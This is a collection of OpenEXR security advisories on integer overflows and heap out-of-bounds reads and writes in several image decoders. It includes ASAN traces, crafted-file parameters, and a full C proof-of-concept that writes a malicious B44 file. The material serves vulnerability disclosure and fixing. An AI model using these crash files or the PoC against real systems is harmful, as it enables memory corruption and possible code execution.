OpenEXR provides the specification and reference implementation of the EXR file format, an image storage format for the motion picture industry. From versions 3.0.0 to before 3.2.9, 3.3.0 to before 3.3.11, and 3.4.0 to before 3.4.11, there is an integer overflow in ImageChannel::resize that leads to heap OOB write via OpenEXRUtil public API. This issue has been patched in versions 3.2.9, 3.3.11, and 3.4.11.
OpenEXR provides the specification and reference implementation of the EXR file format, an image storage format for the motion picture industry. From versions 3.0.0 to before 3.2.9, 3.3.0 to before 3.3.11, and 3.4.0 to before 3.4.11, IDManifest::init() reconstructs strings from a prefix-compressed representation. If the previous string is longer than 255 bytes, the next string is expected to begin with a 2-byte prefix length. The code reads stringList[i][0] and stringList[i][1] without checking that the current string has at least two bytes. This issue has been patched in versions 3.2.9, 3.3.11, and 3.4.11.
Summary The PXR24 decompression function undopxr24impl in OpenEXR (internalpxr24.c) ignores the actual decompressed size (outSize) returned by exruncompressbuffer() and instead reads from the scratch buffer based solely on the expected size (uncompressedsize) derived from the header metadata.
Additionally, exruncompressbuffer() (compression.c:202) treats LIBDEFLATESHORTOUTPUT (where the compressed stream decompresses to fewer bytes than expected) as a successful result rather than an error.
When these two issues are combined, an attacker can craft a PXR24 EXR file containing a valid but truncated zlib stream. As a result, the decoder reads uninitialized heap memory and incorporates it into the output pixel data.
Details This issue occurs due to the combination of two flaws.
1. compression.c:202–205 — LIBDEFLATESHORTOUTPUT treated as success else if (res == LIBDEFLATESHORTOUTPUT) { / TODO: is this an error? / return EXRERRSUCCESS; } libdeflatezlibdecompressex() returns LIBDEFLATESHORTOUTPUT when the compressed stream is successfully decompressed but the resulting output size is smaller than the provided output buffer size. In this case, the actual number of decompressed bytes is written to actualout. However, the function does not treat this condition as an error and instead returns success.
2. internalpxr24.c:279–287 — outSize return value ignored rstat = exruncompressbuffer( decode->context, compresseddata, compbufsize, scratchdata, scratchsize, &outSize); // outSize = actual bytes written
if (rstat != EXRERRSUCCESS) return rstat;
// outSize is never referenced afterwards. // The loop below reads the entire scratchdata buffer based on // uncompressedsize (the header-derived expected size). for (int y = 0; y < decode->chunk.height; ++y) { ... } After exruncompressbuffer() returns success, the code does not verify whether the actual decompressed size (outSize) matches the expected size (uncompressedsize). The subsequent byte-plane reconstruction loop reads from the scratch buffer up to uncompressedsize bytes. As a result, the region between outSize and uncompressedsize consists of uninitialized heap memory, which is then read by the decoder.
Affected component - src/lib/OpenEXRCore/internalpxr24.c — undopxr24impl() (line 261–399) - src/lib/OpenEXRCore/compression.c — exruncompressbuffer() (line 202–205)
PoC Please refer to the atta poc.zip ched archive file and proceed after extracting it.
1. git clone https://github.com/AcademySoftwareFoundation/openexr.git 2. mv poc openexr/ 3. cd openexr 4. docker build -f poc/Dockerfile -t pxr24-poc . 5. docker run --rm pxr24-poc
<img width="858" height="155" alt="스크린샷 2026-03-15 오후 4 38 18" src="https://github.com/user-attachments/assets/ded9eab6-9b92-40f7-9a0d-7b00db7e6088" />
Impact Sensitive information from heap memory may be leaked through the decoded pixel data (information disclosure). Trigger Condition: Occurs under default settings; simply reading a malicious EXR file is sufficient to trigger the issue, without any user interaction.
Summary
internalexrundopiz() advances the working wavelet pointer with signed 32-bit arithmetic:
c wavbuf += nx ny wcount;
Because nx, ny, and wcount are int, a crafted EXR file can make this product overflow and wrap. The next channel then decodes from an incorrect address. The wavelet decode path operates in place, so this yields both out-of-bounds reads and out-of-bounds writes.
Tested on commit 7820b7e1b93405ba1d551c43a945018226b75bc5
Technical Details
The vulnerable decode path is:
1. internalexrundopiz() sets wavbuf = decode->scratchbuffer1. 2. For each channel, it calls wav2Ddecode (wavbuf + j, ...). 3. It then advances wavbuf with wavbuf += nx ny wcount.
The overflow happens in step 3. Once wavbuf is wrapped, the next channel's wavelet decode runs on the wrong address.
In the 14-bit wavelet path, wdec144() first reads:
- px - p10 - p01 - p11
and then writes back to the same locations:
- px = ... - p01 = ... - p10 = ... - p11 = ...
As a result, the bug is not just a crash-only invalid read. It is an out-of-bounds read/write condition.
Reproduction
pizscanlineredzone.zip
Build exrcheck with ASAN and run:
❯ ./build-asan/bin/exrcheck /tmp/pizscanlineredzone.exr file /tmp/pizscanlineredzone.exr /home/pop/sec/openexr/src/lib/OpenEXRCore/internalpiz.c:373:19: runtime error: signed integer overflow: 134217724 32 cannot be represented in type 'int' ================================================================= ==1711239==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x7bedc3934700 at pc 0x7bf1f100f498 bp 0x7ffe032d8f00 sp 0x7ffe032d8ef0 READ of size 2 at 0x7bedc3934700 thread T0 #0 0x7bf1f100f497 in wdec144 /home/pop/sec/openexr/src/lib/OpenEXRCore/internalpiz.c:148 #1 0x7bf1f100f497 in wav2Ddecode /home/pop/sec/openexr/src/lib/OpenEXRCore/internalpiz.c:403 #2 0x7bf1f100f497 in internalexrundopiz /home/pop/sec/openexr/src/lib/OpenEXRCore/internalpiz.c:727 #3 0x7bf1f115b038 in exruncompresschunk /home/pop/sec/openexr/src/lib/OpenEXRCore/compression.c:546 #4 0x7bf1f1161168 in exrdecodingrun /home/pop/sec/openexr/src/lib/OpenEXRCore/decoding.c:580 #5 0x7bf1f2a71add in rundecode /home/pop/sec/openexr/src/lib/OpenEXR/ImfScanLineInputFile.cpp:586 #6 0x7bf1f2a83dc4 in Imf40::ScanLineInputFile::Data::readPixels(Imf40::FrameBuffer const&, int, int) /home/pop/sec/openexr/src/lib/OpenEXR/ImfScanLineInputFile.cpp:500 #7 0x7bf1f28c6a81 in Imf40::InputFile::Data::readPixels(int, int) /home/pop/sec/openexr/src/lib/OpenEXR/ImfInputFile.cpp:458 #8 0x7bf1f3bfe2dc in readScanline<Imf40::InputPart> /home/pop/sec/openexr/src/lib/OpenEXRUtil/ImfCheckFile.cpp:239 #9 0x7bf1f3c05b04 in readMultiPart /home/pop/sec/openexr/src/lib/OpenEXRUtil/ImfCheckFile.cpp:905 #10 0x7bf1f3c126fd in runChecks<char const> /home/pop/sec/openexr/src/lib/OpenEXRUtil/ImfCheckFile.cpp:1171 #11 0x7bf1f3c146b9 in Imf40::checkOpenEXRFile(char const, bool, bool, bool) /home/pop/sec/openexr/src/lib/OpenEXRUtil/ImfCheckFile.cpp:1835 #12 0x5d9675fce8f8 in exrCheck(char const, bool, bool, bool, bool) /home/pop/sec/openexr/src/bin/exrcheck/main.cpp:96 #13 0x5d9675fcb2b1 in main /home/pop/sec/openexr/src/bin/exrcheck/main.cpp:164 #14 0x7bf1efe2a1c9 in libcstartcallmain ../sysdeps/nptl/libcstartcallmain.h:58 #15 0x7bf1efe2a28a in libcstartmainimpl ../csu/libc-start.c:360 #16 0x5d9675fcc844 in start (/home/pop/sec/openexr/build-asan/bin/exrcheck+0xe844) (BuildId: 087c972343a5372940c42c0a2e7bce4a84288aec)
0x7bedc3934700 is located 256 bytes before 8590720784-byte region [0x7bedc3934800,0x7befc39f4710) allocated by thread T0 here: #0 0x7bf1f40fd9c7 in malloc ../../../../src/libsanitizer/asan/asanmalloclinux.cpp:69 #1 0x7bf1f115883e in internaldecodeallocbuffer /home/pop/sec/openexr/src/lib/OpenEXRCore/coding.c:256 #2 0x7bf1f100da97 in internalexrundopiz /home/pop/sec/openexr/src/lib/OpenEXRCore/internalpiz.c:643 #3 0x7bf1f115b038 in exruncompresschunk /home/pop/sec/openexr/src/lib/OpenEXRCore/compression.c:546 #4 0x7bf1f1161168 in exrdecodingrun /home/pop/sec/openexr/src/lib/OpenEXRCore/decoding.c:580 #5 0x7bf1f2a71add in rundecode /home/pop/sec/openexr/src/lib/OpenEXR/ImfScanLineInputFile.cpp:586 #6 0x7bf1f2a83dc4 in Imf40::ScanLineInputFile::Data::readPixels(Imf40::FrameBuffer const&, int, int) /home/pop/sec/openexr/src/lib/OpenEXR/ImfScanLineInputFile.cpp:500 #7 0x7bf1f28c6a81 in Imf40::InputFile::Data::readPixels(int, int) /home/pop/sec/openexr/src/lib/OpenEXR/ImfInputFile.cpp:458 #8 0x7bf1f3bfe2dc in readScanline<Imf40::InputPart> /home/pop/sec/openexr/src/lib/OpenEXRUtil/ImfCheckFile.cpp:239 #9 0x7bf1f3c05b04 in readMultiPart /home/pop/sec/openexr/src/lib/OpenEXRUtil/ImfCheckFile.cpp:905 #10 0x7bf1f3c126fd in runChecks<char const> /home/pop/sec/openexr/src/lib/OpenEXRUtil/ImfCheckFile.cpp:1171 #11 0x7bf1f3c146b9 in Imf40::checkOpenEXRFile(char const, bool, bool, bool) /home/pop/sec/openexr/src/lib/OpenEXRUtil/ImfCheckFile.cpp:1835 #12 0x5d9675fce8f8 in exrCheck(char const, bool, bool, bool, bool) /home/pop/sec/openexr/src/bin/exrcheck/main.cpp:96 #13 0x5d9675fcb2b1 in main /home/pop/sec/openexr/src/bin/exrcheck/main.cpp:164 #14 0x7bf1efe2a1c9 in libcstartcallmain ../sysdeps/nptl/libcstartcallmain.h:58 #15 0x7bf1efe2a28a in libcstartmainimpl ../csu/libc-start.c:360 #16 0x5d9675fcc844 in start (/home/pop/sec/openexr/build-asan/bin/exrcheck+0xe844) (BuildId: 087c972343a5372940c42c0a2e7bce4a84288aec)
SUMMARY: AddressSanitizer: heap-buffer-overflow /home/pop/sec/openexr/src/lib/OpenEXRCore/internalpiz.c:148 in wdec144 Shadow bytes around the buggy address: 0x7bedc3934480: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x7bedc3934500: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x7bedc3934580: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x7bedc3934600: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x7bedc3934680: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa =>0x7bedc3934700:[fa]fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x7bedc3934780: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x7bedc3934800: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x7bedc3934880: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x7bedc3934900: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x7bedc3934980: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Shadow byte legend (one shadow byte represents 8 application bytes): Addressable: 00 Partially addressable: 01 02 03 04 05 06 07 Heap left redzone: fa Freed heap region: fd Stack left redzone: f1 Stack mid redzone: f2 Stack right redzone: f3 Stack after return: f5 Stack use after scope: f8 Global redzone: f9 Global init order: f6 Poisoned by user: f7 Container overflow: fc Array cookie: ac Intra object redzone: bb ASan internal: fe Left alloca redzone: ca Right alloca redzone: cb ==1711239==ABORTING
To prove this is both READ and WRITE, we can also memcheck against non-ASAN release build:
sh valgrind --tool=memcheck --leak-check=no --track-origins=no \ --error-limit=no --num-callers=20 \ ./build-relwithdebinfo/bin/exrcheck /tmp/pizscanlineredzone.exr
Observed result:
- Invalid read of size 2 at internalpiz.c:150 - Invalid write of size 2 at internalpiz.c:171
This confirms the bug is an OOB read/write, not only a read-first crash.
Redzone-Oriented File
- width: 67108862 - height: 32 - channel A: FLOAT, sampling 1 x 1 - channel B: HALF, sampling 33554431 x 16
This makes:
text width 32 2 = 4294967168
which wraps signed 32-bit arithmetic to -128.
That places the next wavbuf access just before the allocated buffer, producing a clean heap-overflow report.
Impact
A crafted EXR file can trigger out-of-bounds memory access during PIZ decompression. The primitive includes both invalid reads and invalid writes. Depending on allocator layout and surrounding memory, this could lead to process crash, memory corruption, or potentially stronger exploitation outcomes.
Recommended Fix
- compute channel span in 64-bit arithmetic - reject any overflow in nx ny wcount - validate cumulative per-channel decoded footprint against outsz before wavelet decode - fail decompression if channel-derived layout does not exactly fit the decompression buffer -------- Found by: Quang Luong of Calif.io
Summary
Function: CompositeDeepScanLine::readPixels, reachable from high-level multipart deep read flows (MultiPartInputFile + DeepScanLineInputPart + CompositeDeepScanLine).
Vulnerable lines (src/lib/OpenEXR/ImfCompositeDeepScanLine.cpp): - totalsizes[ptr] += counts[j][ptr]; (line ~511) - overallsamplecount += totalsizes[ptr]; (line ~514) - samples[channel].resize (overallsamplecount); (line ~535)
Impact: 32-bit sample-count accumulation wrap leads to undersized allocation, then decode writes with true sample volume, causing heap OOB write in genericunpackdeeppointers (src/lib/OpenEXRCore/unpack.c:1374) (DoS/Crash, memory corruption/RCE).
Attack scenario: - Attacker provides multipart deep EXR with many parts and very large sample counts per pixel. - Uses compression (RLE/ZIPS) to keep file size relatively small vs decode pressure. - The overflow happens in composite sample accounting (unsigned int), while pointer progression for decode uses larger counters and reaches out-of-bounds.
Tested on: OpenEXR 4.0.0-dev (commit 83449669402080874b25ff1fa740649a9e6ea064) but this code has existed since v2.3.0
Steps to reproduce
compositedeepscanlinepocbundle.patch
PoC files used: - Writer/generator: poc/compositedeepscanlinee2ecompressedpoc.cpp - Minimal high-level reader harness: poc/simpleexrreader.cpp
The reader harness intentionally mimics realistic app behavior: open EXR, iterate parts, select DEEPSCANLINE, add sources to CompositeDeepScanLine, bind a normal FrameBuffer, then call readPixels.
Build with ASAN/UBSAN:
bash cmake -S . -B build-asan \ -DOPENEXRBUILDPOC=ON \ -DCMAKEBUILDTYPE=RelWithDebInfo \ -DCMAKECFLAGS='-fsanitize=address,undefined -fno-omit-frame-pointer' \ -DCMAKECXXFLAGS='-fsanitize=address,undefined -fno-omit-frame-pointer' \ -DCMAKEEXELINKERFLAGS='-fsanitize=address,undefined' \ -DCMAKESHAREDLINKERFLAGS='-fsanitize=address,undefined'
cmake --build build-asan --target compositewriter simpleexrreader -j
Generate malicious file (decode-path focused profile):
bash ASANOPTIONS=detectleaks=0 timeout 180s \ ./build-asan/poc/compositewriter \ --profile low-ram \ --file /tmp/compositedecodefocus.exr
Trigger:
bash ASANOPTIONS=detectleaks=0 timeout 30s \ ./build-asan/poc/simpleexrreader /tmp/compositedecodefocus.exr
ASAN builds are slower. If needed, a non-sanitized build + debugger is faster for iteration.
Example runs
Writer (abbrev):
bash ❯ ./build-asan/poc/compositewriter exploit math: benign samples : 300 malicious parts : 86 malicious samples per part : 50000000 true total samples : 4300000300 uint32 overflow reached : yes wrapped uint32 total : 5033004 composite Z/A alloc from wrap : 40264032 bytes (38.40 MiB) per-part unpacked sample bytes : 300000000 bytes (286.10 MiB) min parts to overflow (current benign/samples): 86 writing compressed multipart deep EXR: /tmp/compositedeepscanlinee2ecompressed.exr writing donor malicious part (50000000 samples) copying malicious part 1/86 from donor chunk ... file size: 26112896 bytes (24.90 MiB)
Reader ASAN crash:
bash ❯ ./build-asan/poc/simpleexrreader reading /tmp/compositeoverflowoptimized.exr with 16 deepscanline parts ================================================================= ==175024==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x7ed1a55d90b0 at pc 0x7ed1da7854f7 bp 0x7ffe8c83a680 sp 0x7ffe8c83a670 WRITE of size 4 at 0x7ed1a55d90b0 thread T0 #0 0x7ed1da7854f6 in genericunpackdeeppointers /home/pop/sec/openexr/src/lib/OpenEXRCore/unpack.c:1374 #1 0x7ed1da7623e9 in exrdecodingrun /home/pop/sec/openexr/src/lib/OpenEXRCore/decoding.c:664 #2 0x7ed1dbcb153b in rundecode /home/pop/sec/openexr/src/lib/OpenEXR/ImfDeepScanLineInputFile.cpp:816 #3 0x7ed1dbcc597f in Imf40::DeepScanLineInputFile::Data::readData(Imf40::DeepFrameBuffer const&, int, int, bool) /home/pop/sec/openexr/src/lib/OpenEXR/ImfDeepScanLineInputFile.cpp:568 #4 0x7ed1dbc01ca4 in Imf40::CompositeDeepScanLine::readPixels(int, int) /home/pop/sec/openexr/src/lib/OpenEXR/ImfCompositeDeepScanLine.cpp:576 #5 0x64669005f233 in main /home/pop/sec/openexr/poc/simpleexrreader.cpp:88 #6 0x7ed1d942a1c9 in libcstartcallmain ../sysdeps/nptl/libcstartcallmain.h:58 #7 0x7ed1d942a28a in libcstartmainimpl ../csu/libc-start.c:360 #8 0x6466900601e4 in start (/home/pop/sec/openexr/build-asan/poc/simpleexrreader+0x1b1e4) (BuildId: 86b018d0dce48def6ca06be031266f0205c914d2)
0x7ed1a55d90b0 is located 0 bytes after 820132016-byte region [0x7ed1747b5800,0x7ed1a55d90b0) allocated by thread T0 here: #0 0x7ed1dd0fe548 in operator new(unsigned long) ../../../../src/libsanitizer/asan/asannewdelete.cpp:95 #1 0x7ed1dbc29600 in std::newallocator<float>::allocate(unsigned long, void const) /usr/include/c++/13/bits/newallocator.h:151 #2 0x7ed1dbc29600 in std::allocatortraits<std::allocator<float> >::allocate(std::allocator<float>&, unsigned long) /usr/include/c++/13/bits/alloctraits.h:482 #3 0x7ed1dbc29600 in std::Vectorbase<float, std::allocator<float> >::Mallocate(unsigned long) /usr/include/c++/13/bits/stlvector.h:381 #4 0x7ed1dbc29600 in std::Vectorbase<float, std::allocator<float> >::Mallocate(unsigned long) /usr/include/c++/13/bits/stlvector.h:378 #5 0x7ed1dbc29600 in std::vector<float, std::allocator<float> >::Mdefaultappend(unsigned long) /usr/include/c++/13/bits/vector.tcc:663 #6 0x7ed1dbc00184 in std::vector<float, std::allocator<float> >::resize(unsigned long) /usr/include/c++/13/bits/stlvector.h:1016 #7 0x7ed1dbc00184 in Imf40::CompositeDeepScanLine::readPixels(int, int) /home/pop/sec/openexr/src/lib/OpenEXR/ImfCompositeDeepScanLine.cpp:535 #8 0x64669005f233 in main /home/pop/sec/openexr/poc/simpleexrreader.cpp:88 #9 0x7ed1d942a1c9 in libcstartcallmain ../sysdeps/nptl/libcstartcallmain.h:58 #10 0x7ed1d942a28a in libcstartmainimpl ../csu/libc-start.c:360 #11 0x6466900601e4 in start (/home/pop/sec/openexr/build-asan/poc/simpleexrreader+0x1b1e4) (BuildId: 86b018d0dce48def6ca06be031266f0205c914d2)
SUMMARY: AddressSanitizer: heap-buffer-overflow /home/pop/sec/openexr/src/lib/OpenEXRCore/unpack.c:1374 in genericunpackdeeppointers Shadow bytes around the buggy address: 0x7ed1a55d8e00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x7ed1a55d8e80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x7ed1a55d8f00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x7ed1a55d8f80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x7ed1a55d9000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 =>0x7ed1a55d9080: 00 00 00 00 00 00[fa]fa fa fa fa fa fa fa fa fa 0x7ed1a55d9100: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x7ed1a55d9180: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x7ed1a55d9200: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x7ed1a55d9280: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x7ed1a55d9300: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa Shadow byte legend (one shadow byte represents 8 application bytes): Addressable: 00 Partially addressable: 01 02 03 04 05 06 07 Heap left redzone: fa Freed heap region: fd Stack left redzone: f1 Stack mid redzone: f2 Stack right redzone: f3 Stack after return: f5 Stack use after scope: f8 Global redzone: f9 Global init order: f6 Poisoned by user: f7 Container overflow: fc Array cookie: ac Intra object redzone: bb ASan internal: fe Left alloca redzone: ca Right alloca redzone: cb ==175024==ABORTING
Root cause analysis
In CompositeDeepScanLine::readPixels:
1. Per-pixel totals are accumulated in vector<unsigned int> totalsizes. 2. For attacker-controlled large counts across many parts, totalsizes[ptr] wraps modulo 2^32. 3. overallsamplecount is then derived from wrapped totals and used in samples[channel].resize(overallsamplecount). 4. Decode pointer setup/consumption proceeds with true sample counts, and write operations in core unpack (genericunpackdeeppointers) overrun the undersized composite sample buffer.
Allocation is based on a tiny wrapped value, but decode writes correspond to the true large sample volume.
Impact
Heap OOB write during decode. This is at minimum a reliable crash/DoS. As heap corruption, this bug could be used for potential remote code execution.
Summary The B44/B44A decoder in OpenEXR reconstructs row pointers into a scratch buffer using int. When the channel width (nx) is large enough, the product y nx overflows int, causing the row pointer to wrap before the start of the scratch buffer. Subsequent memcpy() calls then write decoded pixel blocks to an invalid address, producing an active out-of-bounds write.
Root cause Variable declarations (internalb44.c:535) c int nx, ny; nx and ny are declared as plain int. They are assigned from curc->width and curc->height which are int32t.
Scratch buffer allocation (internalb44:543) c nBytes = (uint64t) (ny) (uint64t) (nx) (uint64t) (curc->bytesperelement); The allocation path correctly promotes to uint64t before multiplying. The scratch buffer is always large enough to hold the full channel.
Row pointer reconstruction (internalb44:560) c row0 = (uint16t) scratch; row0 += y nx; row1 = row0 + nx; row2 = row1 + nx; row3 = row2 + nx; y and nx are both int. The product y nx is computed in int. If this product exceeds INTMAX (2,147,483,647), the result is signed integer overflow
Out of Band write (internalb44:592) c memcpy (row0, &s[0], n); memcpy (row1, &s[4], n); memcpy (row2, &s[8], n); memcpy (row3, &s[12], n); These four writes copy decoded B44 pixel blocks into row0–row3, which now point to memory before the scratch buffer. The same pattern is present in the encoder path (htapplyimpl), lines 431–432, where row0–row3 are read rather than written, producing an out-of-bounds read.
PoC The PoC generates a valid B44 scanline EXR file (268435456 × 9, single HALF channel) and immediately decodes it. During decompression, uncompressb44impl() computes row0 += y nx, with y=8 and nx=268435456, the product exceeds INTMAX, triggering a signed integer overflow that displaces row0 before the scratch buffer. The subsequent memcpy() writes to this invalid address, causing the crash. The generated file /tmp/pocb44.exr can be replayed independently on any OpenEXR installation. poc.cpp #include <openexr.h> #include <inttypes.h> #include <stdint.h> #include <stdio.h> #include <stdlib.h> #include <string.h>
#define CHECK(call) do { exrresultt rv = (call); if (rv != EXRERRSUCCESS) { fprintf(stderr, "%s failed (%d)\n", #call, (int)rv); goto fail; } } while (0)
static void fillblocks(uint8t out, uint64t n) { for (uint64t i = 0; i < n; i++, out += 3) { out[0] = 0x00; out[1] = 0x00; out[2] = (13u << 2); } }
int main(void) { const int64t W = 268435456; const int64t H = 9; const char path = "/tmp/pocb44.exr";
const uint64t blocks = (uint64t)(W / 4) 2 + 1; const uint64t psz = blocks 3;
uint8t packed = (uint8t) malloc(psz); exrcontextt ctxt = NULL; exrcontextinitializert cinit = EXRDEFAULTCONTEXTINITIALIZER; int part = -1; exrchunkinfot cinfo; exrdecodepipelinet dec = EXRDECODEPIPELINEINITIALIZER; uint16t dummy = 0; int ok = 0;
if (!packed) { fprintf(stderr, "malloc failed\n"); return 1; } fillblocks(packed, blocks);
CHECK(exrstartwrite(&ctxt, path, EXRWRITEFILEDIRECTLY, &cinit)); CHECK(exraddpart(ctxt, "scan", EXRSTORAGESCANLINE, &part)); CHECK(exrinitializerequiredattrsimple( ctxt, part, (int32t)W, (int32t)H, EXRCOMPRESSIONB44)); CHECK(exraddchannel(ctxt, part, "Y", EXRPIXELHALF, EXRPERCEPTUALLYLOGARITHMIC, 1, 1)); CHECK(exrwriteheader(ctxt)); CHECK(exrwritescanlinechunk(ctxt, part, 0, packed, psz)); exrfinish(&ctxt); ctxt = NULL;
fprintf(stderr, "[] wrote %s W=%"PRId64" H=%"PRId64 " packed=%"PRIu64" bytes\n", path, W, H, psz);
CHECK(exrstartread(&ctxt, path, &cinit)); CHECK(exrreadscanlinechunkinfo(ctxt, 0, 0, &cinfo)); CHECK(exrdecodinginitialize(ctxt, 0, &cinfo, &dec));
dec.channels[0].decodetoptr = (uint8t)&dummy; dec.channels[0].userpixelstride = 2; dec.channels[0].userlinestride = dec.channels[0].width 2; dec.channels[0].userbytesperelement = 2; dec.channels[0].userdatatype = dec.channels[0].datatype;
CHECK(exrdecodingchoosedefaultroutines(ctxt, 0, &dec)); dec.unpackandconvertfn = NULL;
fprintf(stderr, "[] calling exrdecodingrun()h\n"); fflush(stderr);
CHECK(exrdecodingrun(ctxt, 0, &dec)); ok = 1;
fail: if (ctxt) { exrdecodingdestroy(ctxt, &dec); exrfinish(&ctxt); } free(packed); return ok ? 0 : 1; } ASAN Trace openexr/src/lib/OpenEXRCore/internalb44.c:561:23: runtime error: signed integer overflow: 8 268435456 cannot be represented in type 'int' #0 in uncompressb44impl internalb44.c:561 #1 in internalexrundob44 internalb44.c:706 #2 in decompressdata compression.c:444 #3 in exruncompresschunk compression.c:541 #4 in exrdecodingrun decoding.c:580 #5 in main poc.c:83
================================================================= ==PID==ERROR: AddressSanitizer: SEGV on unknown address 0x7fe65cfbc800 ==PID==The signal is caused by a WRITE memory access. #0 in memcpy (libc) #1 in uncompressb44impl internalb44.c:599 #2 in internalexrundob44 internalb44.c:706 #3 in decompressdata compression.c:444 #4 in exruncompresschunk compression.c:541 #5 in exrdecodingrun decoding.c:580 #6 in main poc.c:83
SUMMARY: AddressSanitizer: SEGV — WRITE via memcpy in uncompressb44impl internalb44.c:599
Impact A crafted B44 or B44A EXR file can cause an out-of-bounds write in any application that decodes it via exrdecodingrun(). Consequences range from immediate crash (most likely) to corruption of adjacent heap allocations (layout-dependent).
Summary
The DWA lossy decoder constructs temporary per-component block pointers using signed 32-bit arithmetic. For a large enough width, the calculation overflows and later decoder stores operate on a wrapped pointer outside the allocated rowBlock backing store.
This bug is reachable from the public decoder path and can be reproduced through the shipped exrcheck tool with a crafted scanline DWAA file. The confirmed dynamic symptom is a write-side crash in the lossy DCT execution path.
Tested on commit: 7820b7e1b93405ba1d551c43a945018226b75bc5
Root Cause and Data Flow
The vulnerable pointer construction lives in src/lib/OpenEXRCore/internaldwadecoder.h:
c for (int comp = 1; comp < numComp; ++comp) rowBlock[comp] = rowBlock[comp - 1] + numBlocksX 64;
The expression numBlocksX 64 is computed as signed int. Once numBlocksX is large enough, the multiplication wraps, and rowBlock[comp] points backward rather than forward into the temporary decode buffer.
Later, LossyDctDecoderexecute() uses those derived pointers for real loads and stores during the block shuffle and reconstruction process. At that point the decoder is no longer operating within the bounds of the allocation created for rowBlockHandle.
The public control flow is the standard one:
c InputFile / ScanLineInputFile public read -> exrdecodingrun(...) -> exruncompresschunk(...) -> internalexrundodwaa(...) -> DwaCompressoruncompress(...) -> LossyDctDecoderexecute(...)
UBSan gives a clean root-cause diagnosis on the overflowing multiply, while ASAN shows the later memory error in the write-side decode path.
Reproduction
dwascanlineexrcheck.zip
Build with exrcheck with ASAN and run:
❯ ./build-asan/bin/exrcheck /tmp/dwascanlineexrcheck.exr file /tmp/dwascanlineexrcheck.exr /home/pop/sec/openexr/src/lib/OpenEXRCore/internaldwadecoder.h:331:58: runtime error: signed integer overflow: 33554432 64 cannot be represented in type 'int' AddressSanitizer:DEADLYSIGNAL ================================================================= ==1684058==ERROR: AddressSanitizer: SEGV on unknown address 0x758f8e5f0800 (pc 0x75979e850336 bp 0x7ffe8f1d3420 sp 0x7ffe8f1d30f0 T0) ==1684058==The signal is caused by a WRITE memory access. #0 0x75979e850336 in LossyDctDecoderexecute /home/pop/sec/openexr/src/lib/OpenEXRCore/internaldwadecoder.h:524 #1 0x75979e879592 in DwaCompressoruncompress /home/pop/sec/openexr/src/lib/OpenEXRCore/internaldwacompressor.h:1210 #2 0x75979e879592 in internalexrundodwaa /home/pop/sec/openexr/src/lib/OpenEXRCore/internaldwa.c:231 #3 0x75979e95f878 in exruncompresschunk /home/pop/sec/openexr/src/lib/OpenEXRCore/compression.c:542 #4 0x75979e9659a8 in exrdecodingrun /home/pop/sec/openexr/src/lib/OpenEXRCore/decoding.c:580 #5 0x7597a0271add in rundecode /home/pop/sec/openexr/src/lib/OpenEXR/ImfScanLineInputFile.cpp:586 #6 0x7597a0283dc4 in Imf40::ScanLineInputFile::Data::readPixels(Imf40::FrameBuffer const&, int, int) /home/pop/sec/openexr/src/lib/OpenEXR/ImfScanLineInputFile.cpp:500 #7 0x7597a00c6a81 in Imf40::InputFile::Data::readPixels(int, int) /home/pop/sec/openexr/src/lib/OpenEXR/ImfInputFile.cpp:458 #8 0x7597a13fe2dc in readScanline<Imf40::InputPart> /home/pop/sec/openexr/src/lib/OpenEXRUtil/ImfCheckFile.cpp:239 #9 0x7597a1405b04 in readMultiPart /home/pop/sec/openexr/src/lib/OpenEXRUtil/ImfCheckFile.cpp:905 #10 0x7597a14126fd in runChecks<char const> /home/pop/sec/openexr/src/lib/OpenEXRUtil/ImfCheckFile.cpp:1171 #11 0x7597a14146b9 in Imf40::checkOpenEXRFile(char const, bool, bool, bool) /home/pop/sec/openexr/src/lib/OpenEXRUtil/ImfCheckFile.cpp:1835 #12 0x61ba9582b8f8 in exrCheck(char const, bool, bool, bool, bool) /home/pop/sec/openexr/src/bin/exrcheck/main.cpp:96 #13 0x61ba958282b1 in main /home/pop/sec/openexr/src/bin/exrcheck/main.cpp:164 #14 0x75979d62a1c9 in libcstartcallmain ../sysdeps/nptl/libcstartcallmain.h:58 #15 0x75979d62a28a in libcstartmainimpl ../csu/libc-start.c:360 #16 0x61ba95829844 in start (/home/pop/sec/openexr/build-asan/bin/exrcheck+0xe844) (BuildId: 087c972343a5372940c42c0a2e7bce4a84288aec)
AddressSanitizer can not provide additional info. SUMMARY: AddressSanitizer: SEGV /home/pop/sec/openexr/src/lib/OpenEXRCore/internaldwadecoder.h:524 in LossyDctDecoderexecute ==1684058==ABORTING ------- Found by: Quang Luong of Calif.io
OpenEXR provides the specification and reference implementation of the EXR file format, an image storage format for the motion picture industry. In versions 3.4.0 through 3.4.9, 3.3.0 through 3.3.9, and 3.2.0 through 3.2.7, internaldwacompressor.h:1722 performs curc->width curc->height in int32 arithmetic without a (sizet) cast. This is the same overflow pattern fixed in other locations by the recent CVE-2026-34589 batch, but this line was missed. Versions 3.4.10, 3.3.10, and 3.2.8 contain a fix that addresses internaldwacompressor.h:1722.
